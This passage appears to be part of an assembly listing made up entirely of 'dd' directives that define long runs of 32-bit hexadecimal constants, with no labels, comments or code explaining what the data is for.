5303573Ah, 0BBA27BB2h, 0EDEC668h, 532E7649h dd 8B56142Ch, 3D6D412h, 0BF983079h, 0A768AC12h, 2B3715Fh dd 6DE96C04h, 0CE78E8EBh, 0E0440907h, 48366916h, 0BF17D876h dd 0B17E2F7h, 0F41C6F09h, 0EC3442EFh, 0E34F609h, 0D343CA87h dd 0FB93DF31h, 0B7D5087Ah, 7ECB457Dh, 21A49EE3h, 2B0736F0h dd 4E5904D8h, 4E908B7Eh, 5753B306h, 3B6C41E2h, 7EEA1CCDh dd 79F927C7h, 462083E9h, 0B29709A7h, 27F6FEF3h, 8C20ED0Bh dd 3E701657h, 0E8CEC4E9h, 0A9F4A2F3h, 8828DCC4h, 0BE607253h dd 13CC6633h, 0A3F0215Ah, 7A4031BAh, 8000E59Fh, 0ACF0DDEBh dd 0F425D2BEh, 7EB171FCh, 9BEEA485h, 26BB4C23h, 0C0CB1CAAh dd 2F5B3864h, 0E7764A68h, 111F799h, 4B4AC12Bh, 0C788011Ch dd 0B7E4FAC9h, 0BFD6A604h, 24FDE68Bh, 30933CADh, 2D4CFB68h dd 0C189E09Fh, 86C4E0FDh, 2F822842h, 5D6F0BFCh, 0DA801BB4h dd 40B69DEBh, 90945895h, 1D59C74h, 0C1173DBDh, 5DF93E73h dd 1A20204Ch, 9420649Ch, 4E16548h, 6AB5510Ah, 2D285987h dd 0A8DF0F57h, 0A88917D0h, 0B268847Bh, 97DFCDECh, 0B239ACE3h dd 273CF42Dh, 51707074h, 391100B9h, 0E1C10DB4h, 65EFE908h dd 86B37F1Eh, 14CFC3C4h, 16FC02B3h, 68291AE8h, 59E9CEADh dd 83092220h, 0F1FC01EBh, 36090790h, 5800B01Ah, 0DA2B8DF3h dd 0B9481160h, 0BA1DAB03h, 0B2D14DC2h, 10320B01h, 7A5F5259h dd 0C702728Eh, 99F0C011h, 81A0BE61h, 6209EB17h, 47610AB0h dd 0CE15A7Eh, 8B9EF7FCh, 40B5D1A5h, 6CF06853h, 3A179FBBh dd 515B7D83h, 952E1DCCh, 0DF83FAE4h, 753FD210h, 801096Ah dd 6FA1C6E9h, 58077CF7h, 948E668h, 0B77E5F5h, 45578F54h dd 9E66A7B1h, 2DBB034Dh, 6E2C9A5Dh, 0CF5724EBh, 0AF829F66h dd 0EE3DC7C6h, 0E9070410h, 520E3CC1h, 29C0F9C9h, 5C09AB68h dd 575D745Bh, 0F75AB0Ah, 6A2C3D07h, 0F8024D0Ch, 0ABE94FD5h dd 0CAC5F511h, 0F0CC722Eh, 29309F7Bh, 747B4DD0h, 0ED990082h dd 0A606FB0Ah, 8219F261h, 0D102DA76h, 0C4676415h, 1E4C2FDDh dd 2C0B64C6h, 0D7481059h, 0D4563905h, 0CC81410Ch, 0C458B74Dh dd 42015C05h, 0AE0D31FFh, 0A12ECE41h, 1EA02C3h, 684B18FDh dd 5B48543Bh, 34C825E9h, 0A972EFA2h, 3A570500h, 0B0505ECCh dd 9B636419h, 64FDF97h, 0AA40D2DCh, 0EF050E53h, 291C1D94h dd 97DA04AFh, 0E4EB4073h, 0F6611715h, 9DB5B2BAh, 68502FDEh dd 0E73C536Ah, 8CE9500Dh, 14B13B2Fh, 0BA5E883Eh, 0D5CB465Ah dd 0D8DB307Dh, 0D0F79732h, 0E74FC1E6h, 9171EB87h, 0F440DE6Eh dd 5A3B7AF8h, 0AD79423h, 25325F08h, 0CD637651h, 0B40A1DB0h dd 0A0EFD7F1h, 0C2700459h, 252CF025h, 6EC85A89h, 6B088014h dd 0DDC939B4h, 0E986914Fh, 213E62h, 0D37C05CEh, 0DEF74678h dd 22E904C3h, 0BD2000E8h, 5C20331Ah, 83C4EF31h, 0EABD505Dh dd 5C03EEF5h, 1A758968h, 87AE60E1h, 0D8022156h, 0F064EB2Eh dd 54078222h, 8F516905h, 2DE875C9h, 3EFE08F1h, 35F812D6h dd 8A00DB2Fh, 98137CBBh, 0D04B4A2Dh, 8754A113h, 0F71A94F8h dd 0E420E2E9h, 31A5404Eh, 4A42CD48h, 0FC0519C2h, 7922B708h dd 0B64053F4h, 0B038F75Ah, 2738960Dh, 994F14F7h, 0BB5360D6h dd 0BC265B25h, 0AA01E56Ch, 4307FF64h, 0EA6D4A97h, 0F5E32D75h dd 7FBBBA60h, 423D2298h, 0CA1D5BE9h, 0DDCC9D49h, 6C2D9C64h dd 9F776C53h, 8D2EEB34h, 25C0FFCAh, 42E7712h, 0EA3DC7B9h dd 0FF4F8327h, 0F1040376h, 77F316FDh, 49A40EAFh, 0B764F064h dd 5F050202h, 0D75D893Fh, 7045F42h, 54F3EF5Eh, 4E216D17h dd 0BDEFF394h, 229AA32h dd 9D5F6EF0h, 55DF80C8h, 4B40B0B0h, 0B3531366h, 374EAACDh dd 4CBADDEh, 520AE07Eh, 0EE9D6F60h, 60E46C70h, 8C420C72h dd 2F96D504h, 0E7544E18h, 9767DD93h, 993F5721h, 23052FBCh dd 0C8F25D5Fh, 967AB393h, 0AB8C81BBh, 8154D84Dh, 2DE6E204h dd 788120C4h, 36890DA2h, 2B7858E9h, 0CE8C514Fh, 2E99415Dh dd 0B504F5E0h, 0D2E9F353h, 0E5303981h, 5308EC30h, 0F63AE388h dd 0D6DC25D3h, 626B3776h, 21FAE178h, 4BDD8D38h, 0E95968FFh dd 9532AD24h, 0F75AD589h, 527F9A00h, 0DDBA1125h, 0BCBDF99Dh dd 74E9C686h, 25000E70h, 3CF46789h, 408E0C1h, 0C58972Dh dd 658C801Bh, 0E55813A7h, 0FCDD253Ch, 0D983714Ah, 2CFF2902h dd 5D0CBC66h, 9F3B7B4h, 68102C20h, 655060DFh, 0B81CC0A8h dd 3A7E58D2h, 35404801h, 682B08E6h, 17252DDCh, 0EC892255h dd 0B12E60F4h, 48D9F68Eh, 0A82F72FEh, 0C4554F89h, 615494CEh dd 26303D68h, 431670A2h, 92C46E19h, 0DBBAB304h, 6C5225F3h dd 8045EB30h, 0CCE62DE4h, 0B7FC9876h, 0FFE12826h, 0BF46C02Dh dd 1A7F7F39h, 0B3DB907h, 1F282D7h, 9196CCFh, 4929E957h dd 0DB1DD572h, 0CE285D6Fh, 0B44DE8FAh, 0A6882CFh, 0BA34574Ah dd 4E68520Bh, 0B3A3B048h, 27D50638h, 603E6C1h, 0CE870705h dd 99D596E9h, 41BC4BBh, 175E2C0h, 13C76857h, 7B5DCC3Fh dd 0C3CA494Bh, 87F65F27h, 5981D772h, 3A5C0B30h, 80A2194h dd 9544A85Bh, 0AEE28945h, 0D49966CBh, 6683DDE9h, 275F3DF5h dd 96268B14h, 0FB39330Eh, 42B8E069h, 19C0114h, 6C1893BFh dd 0B69635B9h, 0A08A13EFh, 1A82CAB5h, 175A434Eh, 4C589741h dd 0B9B43E35h, 0E4975D1Dh, 0CE29D7C1h, 0B7EEFA44h, 13D89487h dd 0ECEDA684h, 0ACBC4A92h, 0BAF527BFh, 54AC005Ah, 9525E939h dd 8208ED4h, 0D935587Bh, 0B1AFEC0Bh, 30F0D903h, 9A41D09Eh dd 0E0507488h, 7D135412h, 0D9680D80h, 0C5B59603h, 0BD2CAB57h dd 6D2E040Dh, 0D2C2E90Bh, 48DF4D36h, 1F40CD2Ah, 0C9685D3Ah dd 6632B5E0h, 2A6E7275h, 209FF04Dh, 5B5BC910h, 0FC288C45h dd 0D7813195h, 0E93B0420h, 10E51B59h, 95606838h, 0FEFF20B6h dd 80BE0C56h, 0A62AE101h, 628802E3h, 0F4E8DF34h, 0C01229B6h dd 52E008EEh, 68C940F2h, 2512474Ah, 7B4B39BAh, 0A46946F2h dd 716B3853h, 0C9E93978h, 722E84D2h, 66F1F21h, 9020F3B5h dd 58A7C3FDh, 0AD0C59B0h, 0A4B45051h, 8175BEE5h, 5622C0F7h dd 5DDA2B7Dh, 2D5DBB05h, 0E994AB0Bh, 0F76805BEh, 0F1CBBAD2h dd 0F1306D04h, 1741AA29h, 0E544497h, 72DE6C86h, 0EA3D0C27h dd 29551071h, 0C375D004h, 5FDF8033h, 137DDA0Ah, 81CFA68h dd 14241C34h, 0B3E92002h, 0A8D6F9BAh, 0A8C8FC07h, 0E6D8F7F9h dd 0C7BDEA55h, 0C9E80113h, 0CAE0AE02h, 0BC8140Ch, 77F6853h dd 5C92C356h, 0CA533D0h, 19C131Ah, 7B7E8ADAh, 715C248h dd 22A22B8Ch, 3121CEE7h, 0F6D82670h, 0FC44F805h, 43B25E9h dd 5D96BBF3h, 68F10FA8h, 0D8DD6819h, 96CA0A0h, 1BE96280h dd 9E077051h, 0DF999B0Fh, 4FCAEE40h, 766C191Dh, 63D585BCh dd 0A7007A66h, 2379FA82h, 67734DE9h, 0E9F1E75Dh, 0BD8550F6h dd 6C023DD2h, 5D4A050Ah, 9AA257BFh, 0B0B16D9h, 23C801C1h dd 0F8F0DA30h, 0F7D7C060h, 22D3BB1Fh, 0B0272B7h, 0D7EAE9D8h dd 0F6E43A57h, 9ED127B9h, 0EE12F6C8h, 0B2C0C8ACh, 0B4EA80E0h dd 0C7E206CEh, 0F2934ECAh, 31225C6h, 4F60A34Ah, 7E700427h dd 5F2CF83Ah, 68668030h, 2C0250FBh, 0F81534E9h, 0A740F0BDh dd 43B26F07h, 7FF25A59h, 6DE7DC0Eh, 0B9108102h, 4C6B38A8h dd 0CE2CCBE9h, 96C68A4Eh, 0BD1464E8h, 4200868Ah, 151EE581h dd 0E927140Ch, 0F888CA64h, 9B2D692Ch, 925594F5h, 3FB6BFF4h dd 3F2A4597h, 0EC125613h, 792C73Ah, 44ED0088h, 5F021079h dd 0C698D177h, 0F3266B05h, 0D9EC557Bh, 2556CB4Fh, 0BF5DC0E5h dd 9FBAE072h, 2174A562h, 0D9C55F12h, 6E145A81h, 0DDEBD001h dd 0A7F57F5Bh, 12F4E332h, 0E408EF9Fh, 27B0EF5Bh, 943F23E6h dd 714785F3h, 7C1B01D7h, 0E7B15815h, 2C0C3194h, 4AE83F6Ch dd 8B63AFC5h, 1B8FE153h, 50F01764h, 1205B95Eh, 0AB09492Fh dd 5E081C50h, 0DFC6AEE2h, 9B256164h, 3C516852h, 344F012Bh dd 3869D805h, 0C2092A5Eh, 28378E3h, 4AF58145h, 0D38F7A1Ah dd 4D7089BFh, 5A27C359h, 0C8C20537h, 0EA16ED9Eh, 0F13863C9h dd 650A4012h, 0B62A0520h, 0C9D5F8E7h, 99B4785Ah, 0C168E14Fh dd 0D377C20Eh, 2753ACAEh, 3FC58951h, 0E83EEBA1h, 0AE3ACA65h dd 5C2D4880h, 7ADAADEBh, 689B801h, 0CC0D5FEDh, 840A0C4Ah dd 8048B05Ch, 0FC23A901h, 290189E4h, 3D6532D2h, 0BEC33DC8h dd 0EB44CBBCh, 40AEAEC5h, 4757F607h, 0FE9D6519h, 4948A72Fh dd 499FBC22h, 0CD71D338h, 881D259h, 0D7583CBBh, 79BC2F3Fh dd 8EE201B5h, 60303C13h, 90985D33h, 0D60A2D51h, 3F842089h dd 229DA590h, 6D7D0432h, 0D0BF2E22h, 0CED8E929h, 0EA208B99h dd 9C51F105h, 0D8EF5D72h, 9525E94Eh, 681A01C4h, 992A2CA4h dd 0C21AC89Ah, 1259E680h, 1E2F1255h, 770FCB38h, 2D1303FDh dd 0D21B932h, 7FFB730h, 9B9D6835h, 5240A9AAh, 282C20EEh dd 0F601DBC8h, 75ED5EAEh, 7C3EF682h, 79D07F9Ch, 70ABF113h dd 0A46A89A1h, 0E4526C47h, 13944F92h, 134012EEh, 1CB7CACEh dd 0D727EF36h, 1ABF659Ch, 0C6C8DFF3h, 31921D7Dh, 8B76F695h dd 0BA55C40Ah, 0A546717Ah, 3FB79248h, 0E785881h, 53E7C0DCh dd 164321BBh, 0E9517C04h, 0BFDD3735h, 987C63E9h, 2C75F2Ch dd 404E6BC6h, 49B5C4C0h, 0E94A5A04h, 0F3883BF5h, 0C9203D35h dd 147C48A7h, 6876023Ch, 0D6897BA8h, 11800834h, 0A5F35B05h dd 6D94F0ABh, 68E8335Bh, 277790A4h, 260BDE0Ch, 8DFB875Bh dd 0F2CFF9BDh, 16AA5006h, 0FC53C0E9h, 3975A19Ch, 6E19312Eh dd 0BE3A87CAh, 56E076Dh, 2DC0EEC1h, 5C7D24CEh, 0C600C2C4h dd 0F3745596h, 0CC418AE9h, 1EF66C41h, 58B0BB04h, 691F6259h dd 0A55C451Dh, 84257051h, 0C2B9452Ah, 37527314h, 788ABEEDh dd 0F8E7DD5Ah, 0F699BB82h, 0C4365994h, 0E812B3C2h, 7AD5E7Eh dd 0BC7EFA3h, 6846B0FFh, 8C624FACh, 15204A9Dh, 77F50901h dd 637FE5E6h, 5E9FF2A7h, 0CCBE01BBh, 0F055AD09h, 0BA9557BDh dd 8D2A8440h, 0E62A5EB1h, 0D5E982B1h, 5C997591h, 1DF3CB53h dd 6465D4E9h, 0C12E809Ch, 8F10AC06h, 1B95101h, 0F764912Ch dd 83F202E3h, 0F09F37CBh, 0ED808CB5h, 75E8C85Fh, 0D10E1C18h dd 1A13ACF6h, 19003459h, 642B4ADEh, 0C10B27E9h, 0D5A5B571h dd 0BE55DC24h, 4B8AD385h, 761F2B7Dh, 0B8CB0C9Bh, 0F40FC2EFh dd 6920705Ah, 31DBE154h, 94608121h, 8DEE147Dh, 0A169192h dd 1F7DED0Dh, 43521B10h, 547E73ACh, 0BF098DBFh, 0FD209978h dd 5577DE8h, 41AA3BDFh, 1234B831h, 90FC7E6Ah, 5EF0185h dd 0EB7FF7D6h, 0AC867827h, 0DD2916B3h, 0D85FE087h, 70B5259Ah dd 0B11195C0h, 25A62CC9h, 79CC7C66h, 0C98A8355h, 0FC5F7240h dd 37E44113h, 3E47103Fh, 0E5C2B55Ch, 6053AD7Ah, 0E466EADAh dd 687C9552h, 0D7C1AB42h, 4989F51Ch, 6896501Eh, 0D93D4254h dd 0A4C41A60h, 36C4FF26h, 8BEC4B39h, 4D72191h, 4D99331Fh dd 0F627353Bh, 0DF56C6AAh, 98E64F1Bh, 5A69D6B5h, 0BD535858h dd 5CA7A3E5h, 3DE0A575h, 34B730B9h, 7DFB2010h, 1EEF801Eh dd 1C56DA17h, 5B838ABEh dd 528CF0E6h, 8130E925h, 2FBB40D9h, 590D1671h, 111FC109h dd 0C38204A9h, 2D85654h, 0F331DCBFh, 522540FFh, 49422E39h dd 0D1BD132Dh, 0AC55437Ah, 8000FD39h, 29774406h, 8A4D0F1h dd 91633A51h, 0E32C135Ah, 88AF92A3h, 0AF30E9CBh, 0F1888AC6h dd 7BD974F6h, 0C54276CEh, 80505516h, 9F0952ACh, 43B81400h dd 2D443D46h, 11B1C58h, 8E89331h, 0C7818035h, 98D95594h dd 2926EA3Ch, 2DB91DD6h, 77E56B98h, 102AD54Ch, 984F9A6Bh dd 1EB75AA7h, 8951BE64h, 0B6732FE2h, 505DDCAFh, 99C067C0h dd 0E8D584C1h, 0F8535BEAh, 0C319602Eh, 2C39173Dh, 8392964h dd 5B12DE9Ah, 0F87BCF0Bh, 0F2BB097Fh, 810747C8h, 0E0B7CEDEh dd 0D34C3015h, 86C30390h, 10DD8851h, 7D6F855Eh, 81C5291Ch dd 2747CE84h, 20E83981h, 0CFEB7B81h, 0ECB035E0h, 16C50821h dd 12BB63B1h, 0ECE8DD89h, 6BE1FD2Ch, 0BD02288Bh, 0EBA1B01h dd 0D5DE1EC2h, 2EF8F7A0h, 5841030Ah, 5900062Dh, 8ECD9705h dd 0E16813DFh, 2330E36Eh, 34E9891Ch, 0BD00DED8h, 118B5986h dd 5DE821h, 0AE2C7435h, 0B626E933h, 50E0349Eh, 9D78CB68h dd 78BAADC5h, 0C05502EFh, 0D5BD027h, 0D4BD60D3h, 179F7C0Bh dd 8BA96A84h, 5F728088h, 2F687C90h, 0CCBB2C66h, 4BBA042Dh dd 0C7491543h, 9492C5E6h, 0B6B1FBFAh, 0C09D20E4h, 4E1DB812h dd 0ADB843BAh, 26291340h, 3782DD8h, 1C0519AFh, 0E865D589h dd 46757EA5h, 62E6815h, 0A8FA614Bh, 58D8E55Ch, 4E3B0E0Dh dd 6DA37A33h, 25886349h, 21001DF5h, 4BE03576h, 2DE91207h dd 0B09344D5h, 50BED7C1h, 5A11CFE6h, 1C7BD43Bh, 243FEBF7h dd 3326B134h, 4AE7C518h, 12C02D68h, 63CAA201h, 0E93CFC69h dd 2DD4459h, 30FEC780h, 1CF596FCh, 903B050h, 855058C2h dd 0DA76E270h, 3CED5B70h, 6FE90B85h, 21F44CEh, 6D4D6857h dd 0A1E1706Eh, 879C2E6Ah, 85683B58h, 1727E9C0h, 0A7DCF3ABh dd 7A902346h, 0B074FE22h, 29B040FBh, 11EC178h, 9BD656D9h dd 55607987h, 0E6F2895Eh, 504A025Dh, 941ABCB8h, 38E68641h dd 0F70501B6h, 55714909h, 84923768h, 6D9909A5h, 8609F0C6h dd 0DE70818Ch, 76353BCh, 0F829BD74h, 2AE9352Dh, 4D3DF2Bh dd 0A30F45EAh, 0ACB51Dh, 166EE908h, 0F7FB8DA8h, 2DB4D75Ch dd 6592F5F6h, 0F24A1361h, 57E15904h, 7759613Bh, 96E2729Bh dd 9A9CB11h, 0F428E3B3h, 622C0E84h, 0B652C8C0h, 3820E9A1h dd 0C68102EAh, 7D062A16h, 222EA5Fh, 78965F08h, 0A06C2D0Bh dd 4E7002A0h, 0B7F614DAh, 68DF0797h, 7657AB09h, 72D57A90h dd 0B79F8C7Dh, 5196DCD6h, 25692EAAh, 0A3B2551Ch, 528377DBh dd 0BA62E9h, 1B5CC745h, 585E19A1h, 22FE892Fh, 0EC379069h dd 24FEB0A7h, 8C8AAA70h, 0B406FFC3h, 3E3C009h, 28454F6h dd 0B3AAE946h, 34309D90h, 2C3DF048h, 820D9EEh, 0B05A380h dd 186AE530h, 0A166925h, 9061E92Dh, 0A750BFF1h, 0A03712FCh dd 9D16AA08h, 47649801h, 0B82A67CAh, 27A4045Ch, 278023FAh dd 13DC723Dh, 0ADD50189h, 0DE0A9633h, 284284E9h, 5FD242FAh dd 0D77EE040h, 125FEB88h, 1EF8C03Eh, 0A812BF19h, 0E4B3EC05h dd 84DE6AC3h, 0C65AE2FEh, 655D6C8h, 0DE0D39EAh, 8806BE61h dd 422D2925h, 0C236C0D2h, 30161486h, 79E461F9h, 55FB03FCh dd 8C5838A5h, 42D6EBACh, 45474CE1h, 63E9AC40h, 0DC092327h dd 821F20DEh, 17A2080Bh, 5CBB6034h, 10B0ACFh, 195205Eh dd 236A9D5Fh, 0CD5EF731h, 0D6BA2CF8h, 57D105EEh, 0E335BB8Fh dd 50C41FEAh, 0C3F05A34h, 5D552A68h, 0B2CB2783h, 6B4DB620h dd 9376CD7h, 0E0F5D2C7h, 29BAA6D0h, 7A853D1Bh, 61732313h dd 816EB4E9h, 39E0F7F7h, 0A06F407Fh, 495511Ah, 0FCC4593Ah dd 0BDA5F5D5h, 0A284342h, 82B1E4Bh, 571694FDh, 3704A7E8h dd 0AA7A9769h, 701A684h, 30D1E95Fh, 247C922Fh, 0F1254A54h dd 0BB76499Ah, 0B5E39B5Eh, 0EA50416h, 5C0104A2h, 0CF8D30BAh dd 474B2A23h, 5F0829E4h, 28F7DDDCh, 0FB2E7E52h, 2C84BC97h dd 0AC87287Ch, 4DA45C49h, 3B86F42h, 619E82F4h, 540E9D56h dd 2953EB5Eh, 1F0157DFh, 3FBF258Ch, 9A81101h, 0C813ECAh dd 0B6F1A466h, 87AC6A29h, 613AD097h, 5D40154Eh, 5E792CE9h dd 4B30C214h, 0D57118F7h, 0A0A5B925h, 0FB15348Ch, 0F22E82F0h dd 832CDE84h, 0EB0BD730h, 79252068h, 0B7299CA2h, 0AFFD8432h dd 0F96B6329h, 700D38A4h, 44AA5395h, 4BF2F87Fh, 9E07CBEh dd 0BAA011FFh, 45253303h, 0F6E7488Fh, 613D0B6Ah, 0B50E31D1h dd 6904D36Bh, 0EB860683h, 0D0EA1DE2h, 35F349E3h, 88399A66h dd 6D9078DDh, 9607952Dh, 5618FAF0h, 332D8528h, 32BF89F0h dd 0CFD2ABF9h, 30E9857Dh, 4855B3E8h, 6C4B50CBh, 4D2F167Fh dd 231E59Bh, 7A1FF2F1h, 0BDED2AC0h, 61899883h, 0C0324B1Dh dd 31305C0h, 0E93F7A0Bh, 80F07EC9h, 4F2160C3h, 0D801097Bh dd 5786055Bh, 0DD41C7Ch, 9492EC9Eh, 0F8E950DBh, 6131094Fh dd 0CD7A75ECh, 740AE57Dh, 0C217BE1Bh, 9B4EC68h, 0A8095B3Fh dd 409D4C21h, 5075E08h, 135852E4h, 84C7C8E4h, 45F06151h dd 0F78281EEh, 8840A833h, 0B5315B5Ah, 4488F9F6h, 0FD2633EDh dd 2E3A07F1h, 0FC3F02A1h, 115A173Dh, 0E3D630A2h, 201E589Eh dd 515A274Bh, 73926C66h, 40D2E92Fh, 2C5BB940h, 12B26921h dd 31ABB197h, 3DF12074h, 4BA7041Bh, 9F449040h, 4C0EB040h dd 425E2A13h, 23D62D43h, 1395B5EBh, 0FA1A0108h, 68DEE955h dd 526376D9h, 9253A84Ah, 49245462h, 1139EF02h, 3AFCC575h dd 155FA4F6h, 0C559AFE9h, 60B17828h, 15F8AA33h, 9066AEDh dd 4350E9D6h, 68E3094Dh, 421B625Dh, 5B92C005h, 0B20720AAh dd 0DFA4A472h, 0E989B0AEh, 52CC60B5h, 168D2479h, 142105BBh dd 7F09EF33h, 279D94DAh, 0B05F3487h, 5FBFE97Bh, 0CD89D30Dh dd 6D160662h, 603B5681h, 72884A70h, 0D0307DB3h, 9EFA3384h dd 2AF402E5h, 0A0FD4768h, 0E68DEA48h, 84BF5B6Dh, 5CFC62D1h dd 1834F264h, 15816B10h, 86F62B9Ah, 0EC17CAB9h, 957B5CA4h dd 74EE55Bh, 77E4D208h, 263930DAh, 0C1845052h, 0D9ADDE0Ah dd 3603FCE9h, 61C7460h, 25496B90h, 951C0C6Eh, 14D6516h dd 80528CAh, 98B13917h, 0CA43AD2Bh, 7DA59BCBh, 0E97C9A34h dd 0F187D44Bh, 0A15B5553h, 2DDDD801h, 24E60FBCh, 519D3A3Dh dd 37E21AF4h, 0A9E785Fh, 389465D9h, 6A1E02ECh, 0D6C07C9Fh dd 60062D70h, 0D5FEE931h, 7BF0032h, 81331161h, 59027CCFh dd 0F7E97450h, 0FA1AD512h, 22319300h, 0DAFE66A4h, 535AAEB2h dd 7F8C8580h, 0A67C4BCCh, 0CF528B1h, 0C5F25B4Eh, 76FDC781h dd 0D7A670A0h, 88273B8h, 0FEDD0BDFh, 27E95026h, 8C36505Eh dd 0E11AB519h, 4E5AF406h, 903FF69h, 30B86159h, 45324C93h dd 0A7CE3742h, 3C6809EBh, 9AC22570h, 1B07B356h, 5C328058h dd 10024368h, 0E672421h, 0D27FECBEh, 0C6F67B00h, 0B53FF72Dh dd 0C39A75E3h, 0C51BC641h, 30AC41F2h, 5EB77278h, 0A6BE7D80h dd 5EA73C70h, 90E0F7B9h, 0B84FE56Eh, 2CA5015Bh, 9472F130h dd 57560016h, 0AD056068h, 0BCFC365Ah, 0B770DB51h, 0A9145A33h dd 3B9CCD92h, 0F058E7C0h, 0AEBB4FC2h, 1B05C621h, 3E819F55h dd 1EA8BD1Fh, 0F39080BAh, 202C136Fh, 8D20814h, 15F8BB22h dd 573D7B05h, 24A194E9h, 58CFF36Eh, 0DCBA393Bh, 0BDE9C455h dd 0BD59DBE0h, 1C7F5BCCh dd 72F8DCB7h, 544AF16Ch, 614F7E8Ah, 2E595E22h, 257AF9E6h dd 0E2A25A47h, 8802D8F2h, 0CDE5E1D5h, 0BCBF2C2h, 3143C836h dd 0D0F7AD02h, 76E4CC60h, 39379025h, 824051ECh, 0E710B08h dd 0F7CA8106h, 0C27A74A4h, 69F3663Ch, 5BF8B21Fh, 53F660ABh dd 2A5DD868h, 0B25698E6h, 15DD2050h, 109C309h, 7835804Fh dd 24C093D8h, 0E28ED189h, 6801A34Dh, 805978FDh, 4B209723h dd 9FCD292Bh, 0A75BF580h, 953103D9h, 61368FC0h, 56C0B583h dd 7C16522Ch, 81285A1Dh, 9DC480BBh, 0CC8AE407h, 360BADEFh dd 3C8BE862h, 22372542h, 3BF294F7h, 0A6C856F2h, 0E1D62917h dd 36516026h, 9D8A1C9h, 439BFE8Ch, 0FE85D0CDh, 4E7FED8Eh dd 0FBD18404h, 875FC041h, 0F66845FDh, 1965B205h, 897A3201h dd 0B75A057h, 3C669646h, 0A07BCE29h, 4A65E908h, 0A4A1BC3Fh dd 4CCCAAEh, 1E983C95h, 127B3AFh, 26FB7F1Ah, 0EC6FF909h dd 4FE9BCDCh, 5FD40983h, 18270A74h, 4A48686Bh, 0A501E801h dd 25BEE113h, 4538EBE4h, 0D1C24B1Fh, 2EB5530Dh, 15888BD0h dd 0B26FE56Dh, 0CE293A52h, 11D0B2B8h, 41B5434Ah, 542D192Eh dd 661A858Bh, 161698EDh, 8524E94Dh, 0EFBD5CC9h, 0EFCA8597h dd 2FC77B63h, 0D198BA3Ch, 0FA3E1905h, 2ED69064h, 57DC680Ah dd 0D93BE12h, 0D134F9F1h, 527D47Fh, 4B827306h, 77CAFA01h dd 9B3105DAh, 0CEBBE43Eh, 0E8270BFCh, 9209E574h, 7BED09CDh dd 956D7304h, 8D6DFF54h, 0FCE9398Bh, 5650BFE0h, 0DB27BD98h dd 69E346B9h, 0B17DC12Eh, 0E757C76Ah, 0B062B3B0h, 0BEBAB077h dd 0D97C24DEh, 3E7C6C22h, 26E6DB8Bh, 4AFA03C6h, 6C3D154h dd 1BD86F17h, 5328B5BCh, 9F079DB8h, 0EAE91E2Ch, 6B55D6E1h dd 6AAE7160h, 0BB54B72Fh, 0C1A5E905h, 2DFEA9D3h, 0ED8B5982h dd 1542B40Bh, 80454F7Eh, 28D106C1h, 30E9CEBBh, 0E0101256h dd 0CF4C915Eh, 2B69D0D8h, 43ECEFECh, 894B7B76h, 0BA2565EAh dd 0F79C39C2h, 0B2552289h, 0E344F599h, 0A77E4325h, 7CE65CE4h dd 0B9CB4C3Ah, 5ED30844h, 5FB3A05Ah, 6F998582h, 1D57A4EAh dd 0ED30BD41h, 5A26143Fh, 7705A437h, 0B8710D5Ch, 3033FD5h dd 0ABE941C0h, 0BF3C00D4h, 667D56EAh, 14B5FD21h, 0F7451354h dd 92C700DDh, 89CD17CCh, 685DEA09h, 2707E6E2h, 190977E9h dd 0AE7C8209h, 82B2F250h, 557AC077h, 71F4274Fh, 6C26570h dd 4A9BE907h, 0B9CCC37Ch, 0E9DB3D7h, 3065055Bh, 12C9E9E3h dd 7DA620A0h, 9C6BE909h, 0E16A925Ch, 0C581D584h, 0C335AEAh dd 5A3FA05Fh, 92D320E9h, 57BFA0B4h, 50165E4Ch, 8945080Ah dd 2CB2B16Fh, 0D14E0BDDh, 6CAC80E6h, 9E1BE8C5h, 3B462D0Ah dd 1F94C380h, 43D320h, 36148CFh, 51AB40Dh, 4BBE215Ah, 4E565A90h dd 5ABFFD0Bh, 0A1587032h, 80CCF6F9h, 0C0142EEBh, 0F3003B70h dd 0E9D8309Ch, 249973B0h, 97501C02h, 0AF944160h, 0C9601E7Bh dd 5E544161h, 14AFEE12h, 0D0352008h, 9C82EF1Eh, 75B2A958h dd 3426C8B8h, 2EF89D86h, 0B9A249h, 0E294FBDh, 0D353B85Eh dd 0E840Bh, 434E08B0h, 0E1ED0149h, 0FE0844EDh, 0F6E9F1B0h dd 8F6399FEh, 0D84B5055h, 0D99723F8h, 4677693Ah, 0F576A027h dd 0B45B9567h, 0E1565993h, 2553B512h, 838752A8h, 57460303h dd 79756102h, 885E77FEh, 502F07F5h, 460324EEh, 0B3F80208h dd 0A5F65C70h, 58F64D39h, 58A007BDh, 0FED41FCFh, 0E05C81C6h dd 0C8DC9759h, 0B7A80E72h, 9C6A0CA1h, 0E3BE3CD0h, 2156A630h dd 5E357B73h, 5BCC002Dh, 57186840h, 0B900A3B3h, 274E5E49h dd 16600BBh, 0C381E0C2h, 0BE2D7DE1h, 82425276h, 4A64DF08h dd 6BFB789Fh, 8DFD7554h, 0ED3BD92Ah, 0E4C05A14h, 0BD27C072h dd 96EFD8E8h, 0FBD73D0Bh, 0F320FD29h, 346687ACh, 484BBFB8h dd 5CEED090h, 393814EDh, 0B82F9C89h, 477F88E2h, 55E98B1Bh dd 6260ACC2h, 0E7894B92h, 0D3B1B32Bh, 10C2CAEAh, 4355BD23h dd 5195CA3Fh, 0A7D23A91h, 8D715D31h, 0D840E904h, 0ACC9CC8h dd 31C19AABh, 0A12913DFh, 5B8B3A0Fh, 22622E6Fh, 0E65F5AE8h dd 30E91961h, 6B2D0AE0h, 0E4F2E553h, 0FBCC41C4h, 5BD9F631h dd 67C5FE68h, 4F852A6Dh, 0B91A34BAh, 0B8D2D6EEh, 8EA9ACh dd 0FB5315E1h, 0B229099h, 0E2E7ED4h, 0E1204980h, 5EC1557Bh dd 25467AFh, 454E7681h, 7E2975F6h, 47976F0h, 0F72E7C5Dh dd 0ECA0FED8h, 5C32092Dh, 91C2EAF2h, 6805B600h, 99A05963h dd 2F02756Eh, 0E9DE8749h, 0C299D86Ah, 36EB7394h, 3EEF9F80h dd 0E92A0A20h, 599DA41Bh, 0FB556462h, 825E808Eh, 6CDD01C2h dd 79B20B85h, 67A6486h, 3B5AE190h, 0EB88B304h, 7FCD23C2h dd 16BE0C7Bh, 0BCD0CEE6h, 304568EBh, 730C531Bh, 6A5EA6D3h dd 0F80A57ABh, 0C9C2C09Eh, 519D80Eh, 308852Dh, 0C2C4BF72h dd 0BBF20717h, 0B602939Fh, 88680C33h, 0BE578B76h, 0B053DA8h dd 6040656h, 0F0FF1AAh, 0DB6BE978h, 1EC3FC41h, 0B0007950h dd 4C8FEBBh, 0D3A3C05Eh, 